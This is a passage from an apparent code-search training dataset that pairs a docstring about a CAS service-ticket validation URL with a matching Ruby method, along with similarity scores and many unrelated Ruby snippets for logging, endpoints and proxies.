"def log(severity, message, tid)\n now = Time.now\n ss = ['DEBUG', 'INFO', 'WARN', 'ERROR', 'FATAL'][severity]\n ss = '' if ss.nil?\n if @formatter.nil?\n msg = \"#{ss[0]}, [#{now.strftime('%Y-%m-%dT%H:%M:%S.%6N')} ##{tid}] #{ss} -- : #{message}\\n\"\n else\n msg = @formatter.call(ss, now, tid, message)\n end\n @logger.add(severity, msg)\n @forward.log(severity, message, tid) unless @forward.nil?\n end",
"def log(type, msg, meta=nil)\n post type, msg, meta\n end",
"def log(message)\n @logger.info message\n end",
"def log(msg,level = Logger::DEBUG)\n @logger.log(level, msg) unless @logger.nil?\n end",
"def logger\n @log\n end",
"def logger\n @log\n end",
"def log\n @log ||= Logging.logger[self]\n end",
"def log(msg)\n Rails::logger.debug msg\n end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end"
] |
[
"0.62768877",
"0.61188716",
"0.5869922",
"0.58544767",
"0.584124",
"0.5815229",
"0.57743937",
"0.5760339",
"0.57570636",
"0.57229143",
"0.570143",
"0.5679652",
"0.5660804",
"0.5659172",
"0.56579095",
"0.5656493",
"0.5643839",
"0.5639617",
"0.561211",
"0.5608594",
"0.55823493",
"0.55757976",
"0.5565484",
"0.55648667",
"0.5561243",
"0.55436575",
"0.5536427",
"0.5517588",
"0.55043715",
"0.5502299",
"0.54929936",
"0.548076",
"0.54769766",
"0.5476929",
"0.5476929",
"0.54765445",
"0.54747343",
"0.54676133",
"0.5465526",
"0.5459979",
"0.54563314",
"0.54563314",
"0.54563314",
"0.54563314",
"0.54563314",
"0.54563314",
"0.54563314",
"0.54563314",
"0.5455131",
"0.5447649",
"0.54292554",
"0.5424308",
"0.5422717",
"0.5401704",
"0.5401462",
"0.5401462",
"0.5401462",
"0.53990936",
"0.5397949",
"0.5394799",
"0.53926575",
"0.5391137",
"0.53839016",
"0.53828037",
"0.53794026",
"0.5373005",
"0.537014",
"0.537014",
"0.5370101",
"0.53693026",
"0.5356653",
"0.53559995",
"0.53559065",
"0.5354012",
"0.53504354",
"0.53400064",
"0.5339865",
"0.53370094",
"0.53307545",
"0.53244966",
"0.5314623",
"0.5285885",
"0.5281283",
"0.5281283",
"0.5280873",
"0.5279467",
"0.527892",
"0.527892",
"0.527892",
"0.527892",
"0.527892",
"0.527892",
"0.527892",
"0.527892",
"0.527892",
"0.527892",
"0.527892",
"0.527892",
"0.527892",
"0.527892",
"0.527892"
] |
0.0
|
-1
|
Returns the service ticket validation endpoint for the configured CAS URL. The service ticket validation endpoint is defined as `cas_url` + `"/serviceValidate"`.
|
def service_validate_url
URI.join(cas_url, 'serviceValidate').to_s
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def validation_url\n service_validate_url\n end",
"def proxy_validate_url\n URI.join(cas_url, 'proxyValidate').to_s\n end",
"def proxy_validate_url\n URI.join(cas_url, 'proxyValidate').to_s\n end",
"def service_validate_url(service, ticket)\n service = service.sub(/[?&]ticket=[^?&]+/, '')\n url = append_service(@service_validate_url, service)\n url << '&ticket=' << Rack::Utils.escape(ticket)\n end",
"def service_url(svc)\n \"#{@host}#{SERVICES[svc]}\"\n end",
"def service_endpoint url\n endpoint = LIST.find do |(pattern, endpoint)|\n url =~ pattern\n end\n endpoint[1] = endpoint.last.gsub('{2}', endpoint.first.match(url).to_a[2]) if endpoint.first.match(url) && endpoint.first.match(url).to_a[2]\n endpoint ? endpoint.last : false\n end",
"def tool_proxy_service_endpoint(tcp)\n tp_services = tcp['service_offered'].find do |s|\n s['format'] == [ToolProxy::TOOL_PROXY_FORMAT]\n end\n\n # Retrieve and return the endpoint of the ToolProxy.collection service\n URI.parse(tp_services['endpoint']) unless tp_services.blank?\n end",
"def tool_proxy_service_endpoint(tcp)\n tp_services = tcp['service_offered'].find do |s|\n s['format'] == [ToolProxy::TOOL_PROXY_FORMAT]\n end\n\n # Retrieve and return the endpoint of the ToolProxy.collection service\n URI.parse(tp_services['endpoint']) unless tp_services.blank?\n end",
"def known_service? url\n !!service_endpoint(url)\n end",
"def solve_wsdl_url\n\t\t\t\tconfig = BingAdsApi::Config.instance\n\t\t\t\treturn config.service_wsdl(environment, get_service_name)\n\t\t\tend",
"def endpoint_url\n protocol = @secure ? 'https' : 'http'\n endpoint_host = SmsNotify::Api.endpoint_host\n \"#{protocol}://#{endpoint_host}/\"\n end",
"def service_management_url\n return @service_management_url\n end",
"def sam_service_url_from_redirect_url redirect_url\n uri = URI.parse(redirect_url)\n q = ActionController::AbstractRequest.parse_query_parameters(uri.query)\n q[\"service\"]\n end",
"def endpoint\n @endpoint ||= \"https://#{@subdomain}.desk.com\"\n end",
"def service_uri\n \"#{host}#{service_path}\"\n end",
"def service_url(service:)\n kubernetes_adapter.service_url(\n service: service\n )\n end",
"def url\n if @service_url.nil?\n @service_url = @protocol + '://' + @host + '/' +\n (@path_prefix.empty? ? '' : (@path_prefix + '/')) + @key + '/'\n end\n @service_url\n end",
"def wsfe_url\n raise 'Environment not sent to either :test or :production' unless Afip::URLS.keys.include? environment\n Afip::URLS[Afip.environment][:wsfe]\n end",
"def lookup_service_host\n # Allow manual overrides\n return config[:lookup_service_host] unless config[:lookup_service_host].nil?\n\n # Retrieve SSO service via RbVmomi, which is always co-located with the Lookup Service.\n vim = RbVmomi::VIM.connect @connection_options\n vim_settings = vim.serviceContent.setting.setting\n sso_url = vim_settings.select { |o| o.key == \"config.vpxd.sso.sts.uri\" }&.first&.value\n\n # Configuration fallback, if no SSO URL found for some reason\n ls_host = sso_url.nil? ? config[:vcenter_host] : URI.parse(sso_url).host\n debug(\"Using Lookup Service at: \" + ls_host)\n\n ls_host\n end",
"def service_root_url(**opts)\n MCB::Azure.get_urls(**opts)\n .grep(%r{^https://.*\\.(education|service)\\.gov\\.uk$})\n .first\n end",
"def proxy_url\n URI.join(cas_url, 'proxy').to_s\n end",
"def proxy_url\n URI.join(cas_url, 'proxy').to_s\n end",
"def url_2_port (url)\n\t\tputs \"Retrieve service port on URL: #{url}\" if @verbose\n\t\tbegin\n\t\t\tssl = (url =~ /https/i)\n\t\t\turl = url.downcase.gsub(/(http:\\/\\/|https:\\/\\/)/, \"\")\n\t\t\trecord1 = url.split('/')\n\t\t\trecord2 = record1[0].split(':')\t\n\t\t\tif (record2.length == 2) \n\t\t\t\tputs \"The service port: #{record2[1]}\" if @verbose\n\t\t\t\treturn record2[1].to_i\n\t\t\telsif ssl\n\t\t\t\tputs \"The service port: 443\" if @verbose\n\t\t\t\treturn 443\n\t\t\telse\n\t\t\t\tputs \"The service port: 80\" if @verbose\n\t\t\t\treturn 80\n\t\t\tend\n\t\trescue => ee\n\t\t\tputs \"Exception on method #{__method__}: #{ee}\" if @verbose\n\t\t\treturn nil\n\t\tend\n\tend",
"def endpoint\n @endpoint ||= 'https://api.emailcampaigns.net/2/REST/'\n end",
"def service_url service, path\n @services[service.to_s] + path\n end",
"def url_for(service:)\n environment.url_for(service)\n end",
"def surl(service)\n service_url = @env == :stable ? API_URL : SANDBOX_API_URL\n service_url = service_url + \"/\" + service\n service_url.gsub!('www', 'usercontent') if service.to_s == 'image'\n service_url\n end",
"def endpoint(environment, version, service)\n environment = environment.upcase.to_sym\n version = version.to_sym\n service = service.to_sym\n base = get_wsdl_base(environment, version)\n if !subdir_config().nil?\n base = base.to_s + subdir_config()[[version, service]].to_s\n end\n return base.to_s + version.to_s + '/'\n end",
"def solr_url\n if ENV['SOLR_URL'] || ENV['WEBSOLR_URL']\n URI.parse(ENV['SOLR_URL'] || ENV['WEBSOLR_URL'])\n end\n end",
"def url_for options={}\n service_type = options[:service_type] || 'identity'\n endpoint_type = options[:endpoint_type] || 'publicURL'\n attribute = options[:attribute]\n filter_value = options[:filter_value]\n\n catalog = self.catalog['serviceCatalog'] || []\n\n catalog.each do |service|\n next unless service['type'] == service_type\n\n service['endpoints'].each do |endpoint|\n return endpoint[endpoint_type] if filter_value.nil? || endpoint[attribute] == filter_value\n end\n end\n\n raise 'Endpoint not found.'\n end",
"def url_pattern\n %r{#{services_url}}\n end",
"def get_eaut_endpoint(url)\n endpoints = OpenID::Yadis.get_service_endpoints(url).flatten.select do |e| \n e.respond_to?('match_types') && !e.match_types( VALID_TYPES ).empty? ? true : false\n end\n raise( NoValidEndpoints, \"No valid EAUT endpoints found at #{url}\") if endpoints.empty?\n endpoints.first\n end",
"def service_signed_url\n EcwidPizzeria::Application.config.make_commerce.service_signed_url\n end",
"def validate_endpoint(endpoint)\n begin\n Chef::Log.debug endpoint.get_endpoints\n rescue\n Chef::Log.error \"Unable to connect to the kubernetes api at #{endpoint.api_endpoint}\"\n end\n\n endpoint\n end",
"def url\n resource.url + '/services'\n end",
"def validate_documentation_url(spec)\n validate_url(spec.documentation_url) if spec.documentation_url\n end",
"def url\n 'https://' + request.host\n end",
"def token_endpoint\n URI::HTTPS.build(host: @host, path: '/' + @tenant + TOKEN_PATH)\n end",
"def get_verification_url\n '/#validation/'+self.id.to_s+'/code/'+self.verification_code\n end",
"def acs_url\n @acs_url ||= URI.join(host, acs_path).to_s\n end",
"def webservices_url\n \"#{API_URL}/ProcessWebServicesDocument/#{options[:site]}?#{self.generate_authorization_token}\"\n end",
"def subdomain\n env[\"SERVER_NAME\"].match(/(.+)\\.#{::Service.this.domain}/)\n $1\n rescue Vidibus::Service::ConfigurationError\n unless env['PATH_INFO'] == '/connector'\n raise(ServiceError, 'This service has not been configured yet')\n end\n end",
"def calculate_url_for_response(svc_response)\n svc = ServiceStore.instantiate_service!(svc_response.service_id, nil)\n destination = svc.response_url(svc_response, params)\n\n raise_missing_url!(svc_response) if destination.blank?\n\n # if response_url returned a string, it's an external url and we're\n # done. If it's something else, usually a hash, then pass it to\n # url_for to generate a url.\n if destination.kind_of?(String)\n url = destination\n\n # Call link_out_filters, if neccesary.\n # These are services listed as task: link_out_filter in services.yml\n (1..9).each do |priority|\n @collection.link_out_service_level( priority ).each do |filter|\n filtered_url = filter.link_out_filter(url, svc_response)\n url = filtered_url if filtered_url\n end\n end\n return url\n else\n return url_for(params_preserve_xhr(destination))\n end\n end",
"def url(sandbox = AmazonMarketplace.use_sandbox?)\n sandbox ? self.class.const_get(:SANDBOX_URL) : self.class.const_get(:ENDPOINT_URL)\n end",
"def solr_url(solr_config)\n return solr_config[:url] if solr_config.key?(:url)\n return solr_config['url'] if solr_config.key?('url')\n if @index_full_text == true && solr_config.key?(:fulltext) && solr_config[:fulltext].key?('url')\n solr_config[:fulltext]['url']\n elsif solr_config.key?(:default) && solr_config[:default].key?('url')\n solr_config[:default]['url']\n else\n raise URI::InvalidURIError\n end\n end",
"def url\n return @url if @url\n\n case environment\n when :production\n PRODUCTION_API_ENDPOINT\n when :sandbox\n SANDBOX_API_ENDPOINT\n end\n end",
"def service\n URI.parse(@config.split('<')[0].split('->')[1])\n end",
"def verify_url(url_to_check)\n uri =\n begin\n URI.parse(url_to_check)\n rescue StandardError\n nil\n end\n\n if uri.nil? || uri.host.nil?\n raise AhaService::InvalidUrlError, \"URL is empty or invalid\"\n end\n\n if (verified = @@verified_urls[uri.host]) == false\n raise AhaService::InvalidUrlError, \"Invalid local address #{uri.host}\"\n elsif verified\n return url_to_check\n end\n\n ip_to_check = IPSocket::getaddress(uri.host)\n @@prohibited_addresses.each do |addr|\n if addr === ip_to_check\n @@verified_urls[uri.host] = false\n raise AhaService::InvalidUrlError, \"Invalid local address #{uri.host}\"\n end\n end\n\n @@verified_urls[uri.host] = true\n url_to_check\n end",
"def get_service_name\n\t\t\t\traise \"Should return the a service name from config.wsdl keys\"\n\t\t\tend",
"def api_service_uri\n api_service_host = API_SERVICE_HOST\n return \"https://#{api_service_host}/sendsms/\"\n end",
"def get_services(credentials, reset_redirect_count=true)\n @redirect_count = 0 if reset_redirect_count\n\n req_body = build_request_body credentials.email\n\n try_standard_secure_urls(credentials, req_body) ||\n try_standard_redirection_url(credentials, req_body)\n end",
"def validator\n @validator ||= PuppetX::PuppetCommunity::HttpValidator.new(\n resource[:name],\n resource[:host],\n resource[:port],\n resource[:use_ssl],\n resource[:test_url],\n resource[:expected_code],\n resource[:verify_peer]\n )\n end",
"def endpoint\n @endpoint||= \"#{@scheme}://#{@host}#{@path}\"\n end",
"def endPoint(path='')\n parts = ['https:/', $cfg['net.host'], 'api:1'] + @uriparts\n s = parts.map{|v| v.to_s}.join('/')\n URI(s + path.to_s)\n end",
"def auth_server(environment)\n auth_server_url = ENV['ADSAPI_AUTH_URL']\n if auth_server_url.nil?\n environment = environment.upcase.to_sym\n auth_server_url = auth_server_config[environment]\n end\n if auth_server_url.nil?\n # If we don't have an entry for this environment, we just return the\n # default server (the same one being used for the default environment)\n auth_server_url = auth_server_config[default_environment()]\n end\n return auth_server_url\n end",
"def login_url(service)\n append_service @login_url, service\n end",
"def service_supported?(url)\n @@supported_services.include? URI.parse(url).host.downcase\n end",
"def ssl_check(url)\n uri = \"http://#{url}\"\n response = Net::HTTP.get_response(URI(uri))\n\n if response.to_hash[\"location\"]\n uri = response.to_hash[\"location\"][0]\n response = Net::HTTP.get_response(URI(uri))\n end\n\n [uri, response]\n end",
"def service_management_url=(value)\n @service_management_url = value\n end",
"def endpoint\n \"#{@scheme}://#{@host}#{@path}\"\n end",
"def set_endpoint\n if ambiente == :producao\n return GetnetApi::Configure::URL[:producao]\n elsif ambiente == :homologacao\n return GetnetApi::Configure::URL[:homologacao]\n else\n return GetnetApi::Configure::URL[:sandbox]\n end\n end",
"def service\n return @service if @service\n @service = ExchangeService.new(version)\n # TODO: make this whole URI configurable\n @service.url = java.net.URI.new(\"https://#{self.config['host']}:443/EWS/Exchange.asmx\")\n @service.credentials = credentials\n @service\n end",
"def error_endpoint\n @error_endpoint ||=\n begin\n self.error_host = ('https://' << error_host) if error_host !~ %r{\\Ahttps?://}\n api = \"api/v3/projects/#{project_id}/notices\"\n URI.join(error_host, api)\n end\n end",
"def get_redirect_uri\n if Rails.env.development? \n #local_port = ':' + request.port.to_s()\n local_port = \":3000\"\n else\n local_port = \"\"\n end\n \"http://#{request.host}#{local_port}/jobs/accept\"\n end",
"def endpoint\n ENV[\"CHEF_API_ENDPOINT\"] || config[\"CHEF_API_ENDPOINT\"] || ENDPOINT\n end",
"def auth_endpoint\n URI.join(TodoableApi.configuration.endpoint, 'api/authenticate')\n end",
"def solr_url\n @solr_url ||= endpoint_url.gsub(/\\/select$/, '')\n end",
"def complaint_url(address=nil)\n \"#{@mailgun.base_url}/#{@domain}/complaints#{'/' + address if address}\"\n end",
"def email_service\n self.email_service = self.email.match(/\\A\\w+\\.?\\w*\\@{1}([a-z]+)\\.{1}[a-z]+\\z/).to_a[1]\n end",
"def solr_url\n @solr_url ||= @configurations[:solr_url]\n end",
"def get_url endpoint\n url = @url\n if !url.end_with? \"/\"\n url = \"#{url}/\"\n end\n\n \"#{url}wc-api/#{@version}/#{endpoint}\"\n end",
"def slack_url\n raise Exception.new('You need to load the configuration before using it.') if @config.nil?\n\n return @config[SLACK_URL_KEY]\n end",
"def url\n URI.parse(endpoint).join(path.to_s).to_s\n end",
"def landing_page_url\n svc = minter\n return nil unless svc.present?\n\n svc.respond_to?(:landing_page_url) ? svc.landing_page_url : nil\n end",
"def authorize_url(ticket = nil)\n ticket = self.ticket unless ticket\n \"#{ api.base_url }/auth/#{ ticket }\"\n end",
"def get_service_name(svc_name = nil)\n return svc_name if svc_name\n\n if !svc_name && @config_target.directory?\n raise PamError, 'You must pass \":service_name\" as an option!'\n else\n return @config_target.basename\n end\n end",
"def url\n return @@nfg_urls['sandbox']['url'] if @use_sandbox\n @@nfg_urls['production']['url']\n end",
"def validate_url\n self.url = ExternalWork.format_url(self.url)\n errors.add_to_base(t('invalid_url', :default => \"Not a valid URL\")) unless self.url_active?\n end",
"def url\n \"#{scheme}://#{domain}\" + ((port == 80) ? \"\" : \":#{port}\")\n end",
"def csp_report_uri\n return unless initialized?\n configuration.csp_report_uri\n end",
"def api_url\n @api_url ||= URI.parse(::File.join(base_url, endpoint))\n end",
"def validate_uri(url)\n return validate({:url => url})\n end",
"def endpoint_url\n self.class::ENDPOINT\n end",
"def solr_root\n url = URI.parse(search_engine_url)\n host = url.scheme + '://' + url.host\n if url.port\n host += ':' + url.port.to_s\n end\n host\n end",
"def url\n \"#{scheme}://#{domain}\" + ((port == 80) ? '' : \":#{port}\")\n end",
"def valid_url?\n\t\t# http:// or not http://\n\t\tx = self.long_url.start_with?(\"http://\", \"https://\")\n\t\tif x == false\n\t\t\treturn \"http://\" + self.long_url\n\t\telse\n\t\t\treturn self.long_url\n\t\tend\n\tend",
"def valid_recipient_url?\r\n begin\r\n response_object = REXML::XPath.first(document, \"/p:Response\", { \"p\" => PROTOCOL })\r\n recipient = response_object.attribute('Recipient').value\r\n raise SA1005Exception unless recipient == settings.assertion_consumer_service_url\r\n rescue RuntimeError => exp\r\n Rails.logger.error \"#{exp.class} - #{exp.message}\"\r\n return false\r\n else\r\n return true\r\n end\r\n end",
"def service_path(service)\n service&.config&.dig(:is_cnfs_service) ? '$CORE_PATH' : '$PLATFORM_PATH'\n end",
"def validate_ticket(options = {})\n query = create_ticket_query(options)\n make_request(Briareus::Torii::VALIDATE_TICKET, query)\n end",
"def endpoint\n ENV['DESK_ENDPOINT']\n end",
"def response_url(service_response, http_params)\n service_response.url\n end",
"def port\n ssl ? 443 : 80\n end",
"def ssl?\n uri_endpoint.scheme == 'https'\n end",
"def landing_page_url\n svc = minter\n return nil if svc.blank?\n\n svc.respond_to?(:landing_page_url) ? svc.landing_page_url : nil\n end",
"def api_uri\n raise Exceptions::BadlyConfigured.new if @api_uri.empty? || @api_uri.nil? || @api_uri == '/'\n @api_uri\n end",
"def configure_ssl(builder)\n builder.ssl.verify = @service.validate_cert? if validate_certs?\n @logger.debug(\"#{self.class.name} ssl.verify is #{builder.ssl.verify}\")\n end",
"def is_soaplab_service?(service)\n return true if service.soaplab_server\n service.service_version_instances_by_type('SoapService').each do |soap|\n return true if soap.wsdl_location=~ /soaplab/\n end\n return false\n end",
"def scheme_callback_uri\n svc = minter\n return nil if svc.blank?\n\n svc.respond_to?(:callback_path) ? svc.callback_path : nil\n end",
"def create_endpoint\n \"/#{ Hubspotter.configuration.form_id }?\"\n end"
] |
[
"0.7028378",
"0.6827416",
"0.6827416",
"0.6221952",
"0.5654495",
"0.54053473",
"0.4980111",
"0.4980111",
"0.4937119",
"0.49363855",
"0.49133894",
"0.4900892",
"0.4869325",
"0.48612764",
"0.48407456",
"0.48298714",
"0.48224273",
"0.48054543",
"0.47764423",
"0.47663826",
"0.4762819",
"0.4762819",
"0.47611934",
"0.47524422",
"0.4732156",
"0.4690185",
"0.4639558",
"0.4629911",
"0.4615662",
"0.4587734",
"0.45863605",
"0.4579011",
"0.45668763",
"0.45625162",
"0.45598665",
"0.45408082",
"0.4531952",
"0.45272934",
"0.4526951",
"0.4518945",
"0.44934177",
"0.44623557",
"0.44608355",
"0.44476262",
"0.44030234",
"0.43859223",
"0.43709913",
"0.43594635",
"0.43558902",
"0.43558633",
"0.43476906",
"0.43417183",
"0.43255314",
"0.43240863",
"0.43236724",
"0.43196255",
"0.43177366",
"0.4304667",
"0.4291971",
"0.42865372",
"0.42844975",
"0.4281566",
"0.42625988",
"0.425818",
"0.42533892",
"0.4252262",
"0.42467338",
"0.4240386",
"0.42395127",
"0.42206421",
"0.42198703",
"0.42161265",
"0.42050844",
"0.4200546",
"0.41998792",
"0.4198128",
"0.4190301",
"0.41897106",
"0.4184328",
"0.41800886",
"0.41775295",
"0.4176259",
"0.4172732",
"0.4168874",
"0.41669965",
"0.41629782",
"0.4161732",
"0.41527167",
"0.41457826",
"0.41405717",
"0.41373652",
"0.41373175",
"0.41359004",
"0.41329473",
"0.41321972",
"0.4131782",
"0.41267872",
"0.41239673",
"0.4119438"
] |
0.82871044
|
1
|
Returns the proxy ticket grantor endpoint for the configured CAS URL.
|
def proxy_url
URI.join(cas_url, 'proxy').to_s
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def endpoint\n \"#{scheme}://#{host}#{suffix}#{reverse_proxy_path}\"\n end",
"def request_proxy_ticket(pgt, target_service)\n uri = URI.parse(proxy_url)\n h = uri.query ? query_to_hash(uri.query) : {}\n h['pgt'] = pgt.ticket\n h['targetService'] = target_service\n uri.query = hash_to_query(h)\n \n pr = request_cas_response(uri, ProxyResponse)\n \n pt = ProxyTicket.new(pr.proxy_ticket, target_service)\n pt.response = pr\n \n return pt\n end",
"def proxy_validate_url\n URI.join(cas_url, 'proxyValidate').to_s\n end",
"def proxy_validate_url\n URI.join(cas_url, 'proxyValidate').to_s\n end",
"def proxy_uri\n @proxy_uri ||= URI.parse(config(\"proxy-uri\"))\n end",
"def proxy_uri; end",
"def proxy_uri; end",
"def spice_proxy_url\n service = core_client.get_service('spice-proxy', @namespace)\n host = service.spec.externalIPs.first\n port = service.spec.ports.first.port\n url = URI::Generic.build(\n scheme: 'http',\n host: host,\n port: port,\n )\n url.to_s\n end",
"def tool_proxy_service_endpoint(tcp)\n tp_services = tcp['service_offered'].find do |s|\n s['format'] == [ToolProxy::TOOL_PROXY_FORMAT]\n end\n\n # Retrieve and return the endpoint of the ToolProxy.collection service\n URI.parse(tp_services['endpoint']) unless tp_services.blank?\n end",
"def tool_proxy_service_endpoint(tcp)\n tp_services = tcp['service_offered'].find do |s|\n s['format'] == [ToolProxy::TOOL_PROXY_FORMAT]\n end\n\n # Retrieve and return the endpoint of the ToolProxy.collection service\n URI.parse(tp_services['endpoint']) unless tp_services.blank?\n end",
"def getproxyuri\n proxy = self.getproxy\n proxy_uri = (proxy != nil )? URI.parse(proxy) : nil\n return proxy_uri\n end",
"def get_defined_proxy\n prime_proxy = ENV.select { |k,v| v if k =~ /http_proxy/i }.first\n if prime_proxy.nil?\n prime_proxy = ENV.select { |k,v| v if k =~ /all_proxy/i }.first\n end\n return nil if prime_proxy.nil?\n\n URI.parse(prime_proxy[1])\n end",
"def http_proxy_uri\n @tools.http_proxy_url\n end",
"def getproxyuri\n proxy = self.getproxy\n proxy_uri = (proxy != nil )? URI.parse(proxy) : nil\n return proxy_uri\n end",
"def authorize_url(ticket = nil)\n ticket = self.ticket unless ticket\n \"#{ api.base_url }/auth/#{ ticket }\"\n end",
"def fire_eagle_auth_url\n client = if fire_eagle_requested?\n requested_client\n else\n fire_eagle_request!\n end\n client.authorization_url \n end",
"def proxy_address\n ENV[\"CHEF_API_PROXY_ADDRESS\"] || config[\"CHEF_API_PROXY_ADDRESS\"]\n end",
"def proxyaddress\n config[\"proxyaddress\"]\n end",
"def proxy_address\n proxy? ? @options['proxy_address'] || '127.0.0.1' : nil\n end",
"def http_proxy_uri\n @http_proxy_uri ||= begin\n keys = %w( HTTP_PROXY HTTP_PROXY_USER HTTP_PROXY_PASS )\n env = Hash[ENV.\n map{|k, v| [k.upcase, v]}.\n select{|k, v| keys.include?(k)}.\n reject{|k, v| v.nil? || v.empty?}]\n\n uri = env[\"HTTP_PROXY\"] or return\n uri = \"http://#{uri}\" unless uri =~ /^(https?|ftp|file):/\n uri = URI.parse(uri)\n uri.user ||= env[\"HTTP_PROXY_USER\"]\n uri.password ||= env[\"HTTP_PROXY_PASS\"]\n uri\n end\n end",
"def token_endpoint\n URI::HTTPS.build(host: @host, path: '/' + @tenant + TOKEN_PATH)\n end",
"def proxy_addr; end",
"def endpoint\n @endpoint||= \"#{@scheme}://#{@host}#{@path}\"\n end",
"def spice_proxy_url\n @conn.spice_proxy_url\n end",
"def endpoint\n \"#{@scheme}://#{@host}#{@path}\"\n end",
"def proxy\n ENV['RANCHER_PROXY']\n end",
"def getproxy\n proxy = (ENV['HTTP_PROXY'] == nil)? ENV['http_proxy'] : ENV['HTTP_PROXY']\n return proxy\n end",
"def service_uri\n \"#{host}#{service_path}\"\n end",
"def using_authenticated_proxy?; end",
"def get_redirect_uri\n if Rails.env.development? \n #local_port = ':' + request.port.to_s()\n local_port = \":3000\"\n else\n local_port = \"\"\n end\n \"http://#{request.host}#{local_port}/jobs/accept\"\n end",
"def proxyport\n config[\"proxyport\"]\n end",
"def proxy\n return @proxy\n end",
"def endpoint\n @endpoint ||= \"https://#{@subdomain}.desk.com\"\n end",
"def proxy_port; end",
"def get_proxy_from_env\n env_proxy = ENV['http_proxy'] || ENV['HTTP_PROXY']\n\n return nil if env_proxy.nil? or env_proxy.empty?\n\n uri = URI.parse env_proxy\n\n if uri and uri.user.nil? and uri.password.nil? then\n # Probably we have http_proxy_* variables?\n uri.user = escape(ENV['http_proxy_user'] || ENV['HTTP_PROXY_USER'])\n uri.password = escape(ENV['http_proxy_pass'] || ENV['HTTP_PROXY_PASS'])\n end\n\n uri\n end",
"def proxy\n @proxy\n end",
"def get_access_url\n @request_token = @client.request_token\n token = @request_token.token\n secret = @request_token.secret\n\n \"http://www.fitbit.com/oauth/authorize?oauth_token=#{token}\"\n end",
"def set_endpoint\n if ambiente == :producao\n return GetnetApi::Configure::URL[:producao]\n elsif ambiente == :homologacao\n return GetnetApi::Configure::URL[:homologacao]\n else\n return GetnetApi::Configure::URL[:sandbox]\n end\n end",
"def getproxy\n proxy = (ENV['HTTP_PROXY'] == nil)? ENV['http_proxy'] : ENV['HTTP_PROXY']\n return proxy\n end",
"def auth_endpoint\n URI.join(TodoableApi.configuration.endpoint, 'api/authenticate')\n end",
"def service_url(svc)\n \"#{@host}#{SERVICES[svc]}\"\n end",
"def cas_proxy_authentication(request, session)\n if !cas_logged_in?(request, session)\n cas_base_url = SETTINGS.cas[:host]\n client = CASClient::Client.new(\n :cas_base_url => cas_base_url\n )\n client.configure(\n :username_session_key => :access_token,\n :cas_base_url => cas_base_url\n )\n service_url = read_service_url(request)\n url = client.add_service_to_login_url(service_url)\n redirect url\n return true\n end\n end",
"def get_auth_url\n\t\tURI::HTTP.build(\n\t\t\t:host => @options['auth_host'],\n\t\t\t:path => @options['auth_page'],\n\t\t\t:query => {\n\t\t\t\t:client_id => @options['client_id'],\n\t\t\t\t:scope => @options['scope'],\n\t\t\t\t:response_type => \"code\",\n\t\t\t\t:redirect_uri => @options['redirect_uri'],\n\t\t\t}.to_query\n\t\t).to_s\n\tend",
"def get_auth_url\n\t\tURI::HTTPS.build(\n\t\t\t:host => @options['auth_host'],\n\t\t\t:path => @options['auth_page'],\n\t\t\t:query => {\n\t\t\t\t:client_id => @options['client_id'],\n\t\t\t\t:redirect_uri => @options['redirect_uri'],\n\t\t\t\t:response_type => \"code\",\n\t\t\t}.to_query\n\t\t).to_s\n\tend",
"def auth_url\n \"#{@url}/auth/realms/#{@realm}/protocol/openid-connect/auth\"\n end",
"def faraday_proxy(options)\n return options[:proxy] if options[:proxy]\n\n proxy = options[:options]\n proxy[:http_proxy_uri] if proxy[:http_proxy_uri]\n end",
"def endpoint_url\n # @@api_base + @request.endpoint\n ApiBase + @endpoint\n end",
"def get_authorize_url\n return get_request_token.authorize_url\n end",
"def getAuthUrl\n\t\t\t\tURI::HTTP.build(\n\t\t\t\t\t:host => @options['auth_host'],\n\t\t\t\t\t:path => @options['auth_page'],\n\t\t\t\t\t:query => {\n\t\t\t\t\t\t:client_id => @options['client_id'],\n\t\t\t\t\t\t:scope => @options['scope'],\n\t\t\t\t\t\t:response_type => \"code\",\n\t\t\t\t\t\t:redirect_uri => @options['redirect_uri'],\n\t\t\t\t\t}.to_query\n\t\t\t\t).to_s\n\t\t\tend",
"def proxy\n\t\t\tself.options[:proxy]\n\t\tend",
"def faraday_proxy(options)\n return options[:proxy] if options[:proxy]\n\n proxy = options[:options]\n proxy[:http_proxy_uri] if proxy[:http_proxy_uri]\n end",
"def client(options = {})\n pgt = options.delete(:pgt)\n url = options[:url]\n raise 'URL not given' unless url\n raise 'PGT not given' unless pgt\n\n options.update(:headers => {\n 'X-Client-ID' => CLIENT_ID\n })\n\n Faraday.new(options) do |f|\n f.request :cas_proxy_auth, pgt, url\n f.response :json, :content_type => %r{\\bjson\\Z}\n f.adapter :net_http\n end\n end",
"def gardener_url\n (ENV['SUT_SCHEME'] || 'https') + \"://\" + gardener_fqhn()\n end",
"def get_authurl\n\t\tlogger.debug \"D, #{__method__.to_s}\"\n\t\tparams = {\n \"client_id\" => @client_id,\n \"response_type\" => \"code\",\n \"redirect_uri\" => @redirect_uri,\n \"prompt\" => \"consent\"\n }\n auth_uri = URI::Generic.new(\"https\", nil, @auth_url, nil, nil, \"authorize\", \n \t\t\t\t\t\t\t nil, nil, nil)\n auth_uri.query = URI.encode_www_form(params)\n logger.debug \"D, #{__method__.to_s}, #{auth_uri.to_s}\"\n return auth_uri.to_s\n\tend",
"def uri_base\n \"http#{'s' if @options[:ssl]}://#{@options[:host]}\"\n end",
"def proxy_port\n ENV[\"CHEF_API_PROXY_PORT\"] || config[\"CHEF_API_PROXY_PORT\"]\n end",
"def zendesk_agent_url\n \"https://getchef.zendesk.com/agent/tickets/#{zendesk_id}\"\n end",
"def endpoint\n \"https://#{@host}:#{@port}/wsman\"\n end",
"def redirect_uri\n\t\t@client.authorization.authorization_uri.to_s\n\tend",
"def authorization_url\n\t\t@client ||= api_client()\n\t\t@client.authorization.authorization_uri.to_s\n\tend",
"def proxy\n ENV['BETTERY_PROXY']\n end",
"def configured_uri_for(uri)\n if /https?:/ =~ uri\n remote = URI(uri)\n config_auth = Bundler.settings[remote.to_s] || Bundler.settings[remote.host]\n remote.userinfo ||= config_auth\n remote.to_s\n else\n uri\n end\n end",
